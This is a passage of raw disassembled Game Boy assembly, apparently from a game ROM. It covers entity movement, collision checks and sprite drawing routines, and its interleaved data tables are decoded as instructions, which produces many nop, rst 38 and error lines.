and $7f
ld e, a
ld d, b
ld hl, $d000
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
ld hl, $d100
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
ld de, $5621
ldh a, [$ff00 + $e8]
cp $00
jr z, 0.l_5667
ld hl, $c210
add hl, bc
ldh a, [$ff00 + $ec]
cp [hl]
jr z, 0.l_5672
ld de, $561d
xor a
ldh [$ff00 + $f1], a
call func_3c3b
ld a, $02
call func_3dd0
ldh a, [$ff00 + $e8]
inc a
cp $08
jr nz, 0.l_5635
call func_3dba
call func_569b
call func_7b20
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
and $7f
ld e, a
ld d, b
ldh a, [$ff00 + $ec]
ld hl, $d100
add hl, de
ld [hl], a
ldh a, [$ff00 + $ee]
ld hl, $d000
add hl, de
ld [hl], a
ret
ld hl, $c3b0
add hl, bc
ld a, [hl]
rl a
rl a
rl a
rl a
rl a
and $e0
ld e, a
ld d, b
ld hl, $54fd
add hl, de
ld c, $08
call func_3d26
ld a, $08
call func_3dd0
ret
nop
nop
ld c, d
nop
nop
ld [$204a], sp
nop
nop
rst 38
nop
nop
nop
rst 38
nop
nop
nop
ld c, h
nop
nop
ld [$204c], sp
nop
nop
rst 38
nop
nop
nop
rst 38
nop
nop
nop
ld c, [hl]
nop
nop
ld [$204e], sp
nop
nop
rst 38
nop
nop
nop
rst 38
jr nz, 0.l_56d9
nop
ld e, h
nop
ldh a, [$ff00 + $08]
ld e, h
jr nz, 0.l_56f1
nop
ld e, [hl]
nop
nop
ld [$205e], sp
ldh a, [$ff00 + $00]
ld b, h
nop
ldh a, [$ff00 + $08]
ld b, h
jr nz, 0.l_5701
nop
ld b, h
ld b, b
nop
ld [$6044], sp
nop
<error>
ld b, b
nop
nop
inc b
ld b, d
nop
nop
inc c
ld b, b
jr nz, 0.l_5715
nop
rst 38
nop
nop
nop
ld c, b
nop
nop
ld [$2048], sp
nop
nop
rst 38
nop
nop
nop
rst 38
jr nz, 0.l_5719
pop af
rl a
rl a
rl a
rl a
and $f0
ld e, a
ld d, b
ld hl, $56b8
add hl, de
ld c, $04
call func_3d26
ld a, $04
call func_3dd0
ret
ld hl, $c440
add hl, bc
ld a, [hl]
cp $02
jp z, .l_5de0
and a
jp nz, .l_5df8
ld a, c
ld [$d201], a
ld a, [$d21a]
and a
jr nz, 0.l_575c
call func_5a6e
call func_7b20
call func_7b42
ldh a, [$ff00 + $f0]
rst 0
ld a, c
ld d, a
adc a, $57
dec bc
ld e, b
ld d, l
ld e, b
xor $58
jr z, 0.l_57ca
ld h, l
ld e, c
cp h
ld e, c
ld a, [bc]
ld e, d
dec h
ld e, d
xor a
call func_3b87
call func_5728
ldh a, [$ff00 + $98]
push af
ldh a, [$ff00 + $99]
push af
ld a, $50
ldh [$ff00 + $98], a
ld a, $30
ldh [$ff00 + $99], a
ld a, $10
call func_3c25
ld hl, $ff99
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_57b5
ld hl, $ff98
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_57b5
call func_0891
ld [hl], $50
call func_3b8d
ld [hl], $01
pop af
ldh [$ff00 + $99], a
pop af
ldh [$ff00 + $98], a
call func_7b8c
ret
inc b
inc bc
ld [bc], a
ld bc, $0000
nop
nop
nop
nop
nop
nop
nop
nop
nop
call func_0891
jr z, 0.l_57e4
rr a
rr a
rr a
and $0f
ld e, a
ld d, b
ld hl, $57bf
add hl, de
ld a, [hl]
ldh [$ff00 + $f1], a
jp $5728
xor a
ld [$d21a], a
call func_5819
ld hl, $c210
add hl, bc
ld a, [hl]
sub a, $08
ld [hl], a
call func_0891
ld [hl], $40
call func_3b8d
ld hl, $c2d0
add hl, bc
ld a, [hl]
and a
ret nz
inc [hl]
call func_52d8
ret
rrc a
ld a, [bc]
dec b
nop
call func_0891
jr nz, $55819
ld a, $22
ldh [$ff00 + $f3], a
ld [hl], $c0
jp $3b8d
call func_7c0e
ld a, e
ld [$d21e], a
ld d, b
ld hl, $5807
add hl, de
ld a, [hl]
ld hl, $c380
add hl, bc
ld [hl], a
ld hl, $c380
add hl, bc
ld a, [hl]
ld hl, $c2b0
add hl, bc
add a, [hl]
call func_3b87
ret
nop
ld bc, $0302
inc bc
inc bc
inc bc
inc bc
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
ld bc, $0101
ld bc, $0000
nop
nop
jr 0.l_5837
nop
nop
nop
nop
ldh a, [$ff00 + $00]
call func_0891
jr nz, 0.l_58c1
ld [$d21d], a
ld [hl], $50
ld a, $e6
call func_3c01
ld hl, $c440
add hl, de
inc [hl]
push bc
ld a, [$d21e]
ld c, a
ld hl, $584d
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $5851
add hl, bc
ldh a, [$ff00 + $d8]
add a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c340
add hl, de
ld [hl], $42
ld hl, $c350
add hl, de
ld [hl], d
ld a, $38
ldh [$ff00 + $f4], a
ld a, [$d220]
cp $02
jr c, 0.l_58b6
ldh a, [$ff00 + $98]
ld hl, $ffe7
add a, [hl]
and $01
jr nz, 0.l_58b6
ld hl, $c290
add hl, de
ld [hl], $03
ld hl, $c2e0
add hl, de
ld [hl], $1c
ld a, $39
ldh [$ff00 + $f4], a
push de
pop bc
ld a, $18
call func_3c25
pop bc
jp $3b8d
rr a
rr a
rr a
and $03
ld hl, $c2b0
add hl, bc
ld [hl], a
call func_0891
rr a
rr a
rr a
rr a
and $0f
ld e, a
ld d, b
ld hl, $583d
add hl, de
ld a, [hl]
ld [$d21d], a
call func_0891
cp $40
jp c, $582b
and $1f
jp z, $5819
jp $582b
call func_0891
jr nz, 0.l_5909
ld [hl], $27
ld a, $35
ldh [$ff00 + $f2], a
ld hl, $c210
add hl, bc
ld a, [hl]
add a, $08
ld [hl], a
ld a, $01
ld [$d21a], a
jp $3b8d
ld hl, $c2b0
add hl, bc
ld [hl], $04
call func_582b
ret
ld d, b
jr z, 0.l_598e
jr 0.l_58a0
jr c, 0.l_5982
ld d, b
jr nc, 0.l_594d
jr nc, 0.l_596f
ld d, b
ld [hl], b
ld [hl], b
ld [hl], h
nop
ld bc, $0302
inc b
call func_0891
jr nz, 0.l_594c
call func_27ed
and $07
ld e, a
ld d, b
ld hl, $5913
add hl, de
ld a, [hl]
ld [$d21b], a
ld hl, $591b
add hl, de
ld a, [hl]
ld [$d21c], a
call func_0891
ld [hl], $1f
jp $3b8d
rr a
rr a
rr a
and $0f
ld e, a
ld d, b
ld hl, $5923
add hl, de
ld a, [hl]
ldh [$ff00 + $f1], a
jp $5728
jr 0.l_5973
stop
inc c
ld [$0205], sp
ld bc, $e0af
pop af
call func_5728
ldh a, [$ff00 + $99]
push af
ldh a, [$ff00 + $98]
push af
ld a, [$d21b]
ldh [$ff00 + $98], a
ld a, [$d21c]
ldh [$ff00 + $99], a
call func_0891
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $595d
add hl, de
ld a, [hl]
call func_3c25
ld hl, $ff99
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_59ae
ld hl, $ff98
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_59ae
call func_0891
ld [hl], $50
call func_3b8d
ld [hl], $01
pop af
ldh [$ff00 + $98], a
pop af
ldh [$ff00 + $99], a
call func_7b8c
ret
nop
ld a, [bc]
rrc a
dec b
call func_0891
jr nz, 0.l_59d7
call func_5458
ld a, $01
ld [$d21a], a
ld a, $06
call func_3b87
call func_0891
ld [hl], $50
call func_3b8d
ret
ld a, [$d221]
cp $80
jr nc, 0.l_59e2
inc a
ld [$d221], a
ld a, [$d221]
ld hl, $d222
add a, [hl]
ld [hl], a
jr nc, 0.l_59f0
ld hl, $d223
inc [hl]
ld a, [$d223]
and $03
ld e, a
ld d, b
ld hl, $59b8
add hl, de
ld a, [hl]
ld hl, $c380
add hl, bc
ld [hl], a
ld hl, $c2b0
add hl, bc
ld [hl], b
call func_582b
ret
call func_0891
jr nz, 0.l_5a15
call func_5140
jp $3b8d
cp $18
jr nc, 0.l_5a21
rr a
rr a
rr a
and $03
call func_3b87
call func_5728
ret
call func_5728
ldh a, [$ff00 + $98]
push af
ldh a, [$ff00 + $99]
push af
ld a, $50
ldh [$ff00 + $98], a
ld a, $30
ldh [$ff00 + $99], a
ld a, $10
call func_3c25
ld hl, $ff99
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_5a64
ld hl, $ff98
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_5a64
call func_52e2
call func_0891
ld [hl], $31
ld hl, $c360
add hl, bc
ld [hl], $ff
call func_5fa7
pop af
ldh [$ff00 + $99], a
pop af
ldh [$ff00 + $98], a
call func_7b8c
ret
call func_5d97
call func_5b34
call func_5b13
call func_5d51
ret
ld l, d
nop
ld l, h
nop
ld l, h
jr nz, 0.l_5aec
jr nz, 0.l_5aee
nop
rst 38
rst 38
ld l, d
jr nz, 0.l_5a89
rst 38
nop
nop
ld l, d
nop
ld [$7a08], sp
nop
ld [$7a00], sp
jr nz, 0.l_5a98
ld [$206a], sp
nop
nop
nop
nop
ld [bc], a
nop
nop
nop
nop
ld [bc], a
inc b
inc b
inc b
inc b
inc b
dec b
dec b
dec b
dec b
dec b
ldh a, [$ff00 + $f3]
di
ldh a, [$ff00 + $f5]
ldh a, [$ff00 + $f3]
di
ldh a, [$ff00 + $f5]
pop af
ldh a, [$ff00 + $f1]
<error>
ldh a, [$ff00 + $0f]
stop
rrc a
ld c, $10
<error>
<error>
pop af
pop af
<error>
<error>
<error>
pop af
pop af
<error>
<error>
or $f7
or $f8
<error>
or $f7
or $f8
ld bc, $0101
ld bc, $0103
ld bc, $0101
inc bc
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
inc bc
inc bc
inc bc
inc bc
inc bc
stop
dec c
dec c
stop
inc de
stop
dec c
dec c
stop
inc de
push af
or $f5
<error>
di
inc de
ld [de], a
inc de
inc d
dec d
<error>
<error>
pop af
pop af
<error>
<error>
<error>
pop af
pop af
<error>
<error>
<error>
<error>
<error>
<error>
<error>
<error>
<error>
<error>
<error>
ld hl, $c3b0
add hl, bc
ld a, [hl]
ld e, a
ld d, b
ld hl, $5aeb
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $5aff
add hl, de
ldh a, [$ff00 + $ec]
add a, $08
add a, [hl]
ldh [$ff00 + $ec], a
ld hl, $5ad7
add hl, de
jr 0.l_5b53
ld hl, $c3b0
add hl, bc
ld a, [hl]
ld e, a
ld d, b
ld hl, $5aaf
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $5ac3
add hl, de
ldh a, [$ff00 + $ec]
add a, $08
add a, [hl]
ldh [$ff00 + $ec], a
ld hl, $5a9b
add hl, de
ld a, [hl]
cp $04
jr nc, 0.l_5b62
ldh [$ff00 + $f1], a
ld de, $5a7b
call func_3c3b
jr 0.l_5b74
sub a, $04
rl a
rl a
rl a
and $f8
ld e, a
ld d, b
ld hl, $5a8b
add hl, de
ld c, $02
call func_3d26
ld a, $02
call func_3dd0
call func_3dba
ret
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_5b93
ldhl sp, d
ld l, [hl]
nop
ld [$6400], sp
nop
ld [$6408], sp
jr nz, 0.l_5b9f
stop
ld l, [hl]
jr nz, 0.l_5b96
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_5bb3
ld sp, hl
ld l, [hl]
nop
ld [$6400], sp
nop
ld [$6408], sp
jr nz, 0.l_5bbf
rrc a
ld l, [hl]
jr nz, 0.l_5bb6
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_5bd4
ld sp, hl
ld l, [hl]
nop
ld [$6400], sp
nop
ld [$6408], sp
jr nz, 0.l_5be0
rrc a
ld l, [hl]
jr nz, 0.l_5bd6
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_5bf4
ldhl sp, d
ld l, [hl]
nop
ld [$6400], sp
nop
ld [$6408], sp
jr nz, 0.l_5c00
stop
ld l, [hl]
jr nz, 0.l_5bf8
ldhl sp, d
ld h, b
nop
ld a, [$6200]
nop
ld a, [$6208]
jr nz, 0.l_5c04
stop
ld h, b
jr nz, 0.l_5c16
ldhl sp, d
ld l, [hl]
nop
ld [$6400], sp
nop
ld [$6408], sp
jr nz, 0.l_5c22
stop
ld l, [hl]
jr nz, 0.l_5c18
ldhl sp, d
ld h, b
nop
ld a, [$6600]
nop
ld a, [$6608]
jr nz, 0.l_5c24
stop
ld h, b
jr nz, 0.l_5c33
ldhl sp, d
ld l, [hl]
nop
ld [$6800], sp
nop
ld [$6808], sp
jr nz, 0.l_5c3f
stop
ld l, [hl]
jr nz, 0.l_5c38
ldhl sp, d
ld h, b
nop
ld a, [$6600]
nop
ld a, [$6608]
jr nz, 0.l_5c44
stop
ld h, b
jr nz, 0.l_5c53
ld sp, hl
ld l, [hl]
nop
ld [$6800], sp
nop
ld [$6808], sp
jr nz, 0.l_5c5f
rrc a
ld l, [hl]
jr nz, 0.l_5c58
ldhl sp, d
ld h, b
nop
ld a, [$6600]
nop
ld a, [$6608]
jr nz, 0.l_5c64
stop
ld h, b
jr nz, 0.l_5c74
ld sp, hl
ld l, [hl]
nop
ld [$6800], sp
nop
ld [$6808], sp
jr nz, 0.l_5c80
rrc a
ld l, [hl]
jr nz, 0.l_5c78
ldhl sp, d
ld h, b
nop
ld a, [$6600]
nop
ld a, [$6608]
jr nz, 0.l_5c84
stop
ld h, b
jr nz, 0.l_5c94
ldhl sp, d
ld l, [hl]
nop
ld [$6800], sp
nop
ld [$6808], sp
jr nz, 0.l_5ca0
stop
ld l, [hl]
jr nz, 0.l_5c96
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, [hl]
nop
ldhl sp, d
ld [$2066], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_5cb2
ldhl sp, d
ld l, [hl]
nop
ld [$6800], sp
nop
ld [$6808], sp
jr nz, 0.l_5cbe
stop
ld l, [hl]
jr nz, 0.l_5cb6
<error>
ld [hl], d
nop
ldhl sp, d
inc b
ld [hl], h
nop
ld [$7600], sp
nop
ld [$7808], sp
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld a, [$72fb]
nop
ld a, [$7403]
nop
ld [$7600], sp
nop
ld [$7808], sp
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ldhl sp, d
inc b
ld [hl], h
jr nz, 0.l_5cfa
inc c
ld [hl], d
jr nz, 0.l_5d0e
nop
ld a, b
jr nz, 0.l_5d12
ld [$2076], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld a, [$7405]
jr nz, 0.l_5d1c
dec c
ld [hl], d
jr nz, 0.l_5d2e
nop
ld a, b
jr nz, 0.l_5d32
ld [$2076], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
ld bc, $0302
inc b
dec b
ld b, $07
ld [$0a09], sp
ld a, [bc]
ld a, [bc]
ld a, [bc]
dec bc
inc c
inc c
inc c
inc c
dec c
ld hl, $c3b0
add hl, bc
ld a, [hl]
ld e, a
ld d, b
ld hl, $5d3d
add hl, de
ld a, [hl]
ld d, $00
ld e, a
sla e
rl d
sla e
rl d
sla e
rl d
sla e
rl d
sla e
rl d
ld hl, $5b7d
add hl, de
ld c, $08
call func_3d26
ld a, $08
call func_3dd0
ret
ld e, $00
ld e, $60
ld a, h
nop
ld a, h
jr nz, 0.l_5e0a
nop
ld a, [hl]
jr nz, 0.l_5da4
<error>
nop
nop
nop
nop
ldh a, [$ff00 + $04]
ldh a, [$ff00 + $ed]
push af
call func_5da1
pop af
ldh [$ff00 + $ed], a
ret
ld a, [$d21d]
and a
ret z
dec a
ldh [$ff00 + $f1], a
ldh a, [$ff00 + $e7]
rl a
rl a
rl a
and $50
ldh [$ff00 + $ed], a
ld a, [$d21e]
ld e, a
ld d, b
ld hl, $5d8f
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $5d93
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld de, $5d83
call func_3c3b
ld a, $02
call func_3dd0
call func_3dba
ret
ld b, [hl]
nop
ld b, [hl]
ld h, b
ld [hl], b
nop
rst 38
rst 38
ld de, $5dd8
ret
ld a, [hl]
nop
ld a, [hl]
jr nz, 0.l_5e65
nop
ld a, h
jr nz, 0.l_5e0b
nop
ld e, $60
ld e, b
nop
ld e, b
jr nz, 0.l_5e4f
nop
ld e, d
jr nz, 0.l_5de9
rst 20
rl a
rl a
rl a
and $50
ldh [$ff00 + $ed], a
ld de, $5de4
call func_3c3b
call func_7b20
call func_08e2
ldh a, [$ff00 + $f0]
cp $04
jr nz, 0.l_5e30
call func_088c
jp z, $7c35
xor c
bit 0, a
ld e, $ff
jr z, 0.l_5e2b
call func_088c
ld e, $01
cp $08
jr nc, 0.l_5e2b
ld e, $02
ld a, e
call func_3b87
ret
call func_7b8c
call func_3b9e
ldh a, [$ff00 + $f0]
rst 0
ld b, c
ld e, [hl]
sub a, c
ld e, [hl]
cp c
ld e, [hl]
cpl
ld e, a
call func_3bb4
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc a
ld [hl], a
and $03
jr nz, 0.l_5e85
ld a, $e6
call func_3c01
ret c
ld hl, $c340
add hl, de
ld [hl], $c2
ld hl, $c350
add hl, de
ld [hl], d
ld hl, $c440
add hl, de
inc [hl]
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2f0
add hl, de
ld [hl], $0f
ld hl, $c3b0
add hl, de
ld [hl], $01
ld hl, $c290
add hl, de
ld [hl], $04
ld hl, $c2a0
add hl, bc
ld a, [hl]
and a
jr z, 0.l_5e90
jp $7c35
ret
ld a, $08
ldh [$ff00 + $f4], a
ld a, $18
call func_3c30
ldh a, [$ff00 + $d7]
ldh [$ff00 + $9b], a
cpl
inc a
ld hl, $c250
add hl, bc
ld [hl], a
ldh a, [$ff00 + $d8]
ldh [$ff00 + $9a], a
cpl
inc a
ld hl, $c240
add hl, bc
ld [hl], a
ld a, $10
ld [$c13e], a
call func_3b8d
ret
call func_5e44
ld a, [$d21a]
and a
ret nz
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c200
add hl, de
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $10
cp $20
jr nc, 0.l_5f26
ld hl, $c210
add hl, de
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $0c
cp $18
jr nc, 0.l_5f26
ld hl, $c240
add hl, bc
ld a, [hl]
sla a
ld hl, $c3f0
add hl, de
ld [hl], a
ld hl, $c250
add hl, bc
ld a, [hl]
sla a
ld hl, $c400
add hl, de
ld [hl], a
ld hl, $c410
add hl, de
ld [hl], $12
call func_7c35
ld a, [$d220]
inc a
ld [$d220], a
cp $04
jr c, 0.l_5f1c
ld hl, $c290
add hl, de
ld [hl], $07
ld hl, $c2e0
add hl, de
ld [hl], $c0
ld a, $36
ldh [$ff00 + $f2], a
ld hl, $c420
add hl, de
ld [hl], $14
ld a, $07
ldh [$ff00 + $f3], a
ret
jr nz, 0.l_5f49
ldh [$ff00 + $e0], a
jr nz, 0.l_5f0d
jr nz, 0.l_5f0f
call func_3bbf
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
add a, $03
call func_3b87
call func_0891
jr z, 0.l_5f4c
and $01
jr nz, 0.l_5f4c
ld a, $18
call func_3c25
ld hl, $c2a0
add hl, bc
ld a, [hl]
and a
jr z, 0.l_5fa6
ld a, $36
ldh [$ff00 + $f4], a
xor a
ldh [$ff00 + $e8], a
ld a, $7d
call func_3c01
jr c, 0.l_5fa3
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2b0
add hl, de
inc [hl]
push bc
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ldh a, [$ff00 + $e8]
ld c, a
ld hl, $5f27
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $5f2b
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, de
ld [hl], a
pop bc
ldh a, [$ff00 + $e8]
inc a
cp $04
jr nz, 0.l_5f59
jp $7c35
ret
ld e, $80
ld hl, $d100
xor a
ldi [hl], a
dec e
jr nz, 0.l_5fac
ret
inc bc
inc bc
dec b
dec b
nop
nop
inc b
inc b
ld [bc], a
ld [bc], a
ld b, $06
ld bc, $0701
rlc a
nop
ld b, $0c
ld c, $10
ld c, $0c
ld b, $00
ld a, [$f2f4]
ldh a, [$ff00 + $f2]
<error>
ld a, [$0600]
inc c
ld c, $06
rlc a
nop
ld bc, $0302
inc b
dec b
call func_7b20
jp $3bb4
ldh a, [$ff00 + $f0]
rst 0
ld d, a
ld h, b
<error>
ld h, b
ret nc
ld h, b
sbc a, d
ld h, b
nop
nop
ld c, d
nop
nop
ld [$204a], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
ld c, h
nop
nop
ld [$204c], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
ld c, [hl]
nop
nop
ld [$204e], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
ldhl sp, d
ld a, b
nop
ldhl sp, d
nop
ld a, d
nop
ldhl sp, d
ld [$207a], sp
nop
stop
ld a, b
jr nz, 0.l_6050
nop
ld a, h
nop
ld [$7c08], sp
jr nz, 0.l_6053
inc bc
ld [bc], a
ld bc, $0000
nop
nop
xor a
ldh [$ff00 + $f1], a
call func_0891
jr nz, 0.l_6062
jp $3b8d
cp $20
jr nz, 0.l_606c
dec [hl]
call func_52d8
ld a, $20
rr a
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $604f
add hl, de
ld a, [hl]
rl a
rl a
rl a
and $f8
ld e, a
rl a
and $f0
add a, e
ld e, a
ld hl, $5fef
add hl, de
ld c, $06
call func_3d26
ld a, $06
call func_3dd0
ret
nop
nop
ld bc, $0201
ld [bc], a
inc bc
inc bc
xor a
ldh [$ff00 + $f1], a
call func_0891
jr nz, 0.l_60c4
call func_52e2
call func_5140
ld hl, $c360
add hl, bc
ld [hl], $ff
ld hl, $c340
add hl, bc
ld [hl], $40
ld hl, $c350
add hl, bc
ld [hl], $0a
ld hl, $c430
add hl, bc
ld [hl], $90
call func_3b65
ret
rr a
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $6092
jr 0.l_6076
ld hl, $c480
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_60e3
call func_0891
ld [hl], $1f
call func_5458
jp $3b8d
call func_5fde
call func_6255
call func_08e2
call func_3dba
call func_7b20
xor a
ld [$d3d6], a
ld e, $0c
ld hl, $c300
add hl, bc
ld a, [hl]
and a
jr z, 0.l_610a
call func_6118
ld a, $01
ld [$d3d6], a
ld e, $0c
ld hl, $d202
ld a, [hl]
inc a
ld [hl], a
cp e
jr c, $56118
ld [hl], b
ld a, $38
ldh [$ff00 + $f2], a
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc a
and $7f
ld [hl], a
ld e, a
ld d, b
ld hl, $d000
add hl, de
ldh a, [$ff00 + $ee]
ld [hl], a
ld hl, $d100
add hl, de
ldh a, [$ff00 + $ec]
ld [hl], a
call func_6341
ld hl, $c2b0
add hl, bc
ld e, [hl]
srl e
ld d, b
ld hl, $5fd6
add hl, de
ld a, [hl]
call func_3b87
ret
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_615e
ldhl sp, d
ld h, h
nop
ld [$6600], sp
nop
ld [$6608], sp
jr nz, 0.l_616a
stop
ld h, h
jr nz, 0.l_615e
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_617e
ldhl sp, d
ld l, h
nop
ld [$6e00], sp
nop
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld l, b
nop
ldhl sp, d
nop
ld l, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_619e
ldhl sp, d
ld l, b
ld b, b
ld [$6a00], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld l, h
ld b, b
ldhl sp, d
nop
ld l, [hl]
ld b, b
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_61be
ldhl sp, d
ld h, b
ld b, b
ld [$6200], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, h
ld b, b
ldhl sp, d
nop
ld h, [hl]
ld b, b
ldhl sp, d
ld [$6066], sp
ldhl sp, d
stop
ld h, h
ld h, b
ld [$60f8], sp
ld b, b
ld [$6200], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$606e], sp
ldhl sp, d
stop
ld l, h
ld h, b
ld [$60f8], sp
ld b, b
ld [$6200], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$206a], sp
ldhl sp, d
stop
ld l, b
jr nz, 0.l_621e
ldhl sp, d
ld h, b
ld b, b
ld [$6200], sp
ld b, b
ld [$6a08], sp
ld h, b
ld [$6810], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_623e
ldhl sp, d
ld h, b
ld b, b
ld [$6200], sp
ld b, b
ld [$6e08], sp
jr nz, 0.l_624a
stop
ld l, h
jr nz, 0.l_62b6
nop
ld [hl], b
jr nz, 0.l_62bc
nop
ld [hl], d
jr nz, 0.l_62c2
nop
ld [hl], h
jr nz, 0.l_62c8
nop
halt
jr nz, 0.l_6277
ld b, b
jp .l_3609
ld c, b
ld hl, $c3b0
add hl, bc
ld a, [hl]
rl a
rl a
rl a
rl a
rl a
and $e0
ld e, a
ld d, b
ld hl, $6145
add hl, de
ld c, $08
call func_3d26
ld hl, $c340
add hl, bc
ld [hl], $42
ld hl, $c3d0
add hl, bc
ld a, [hl]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $d7]
sub a, $0c
and $7f
ld e, a
ld d, b
ld hl, $d000
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
ld hl, $d100
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
ld a, $00
ldh [$ff00 + $f1], a
ld de, $6245
call func_3c3b
ldh a, [$ff00 + $d7]
sub a, $18
and $7f
ld e, a
ld d, b
ld hl, $d000
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
ld hl, $d100
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
ld a, $00
ldh [$ff00 + $f1], a
ld de, $6245
call func_3c3b
ldh a, [$ff00 + $d7]
sub a, $24
and $7f
ld e, a
ld d, b
ld hl, $d000
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
ld hl, $d100
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
ld a, $01
ldh [$ff00 + $f1], a
ld de, $6245
call func_3c3b
ldh a, [$ff00 + $d7]
sub a, $2e
and $7f
ld e, a
ld d, b
ld hl, $d000
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
ld hl, $d100
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
add a, $02
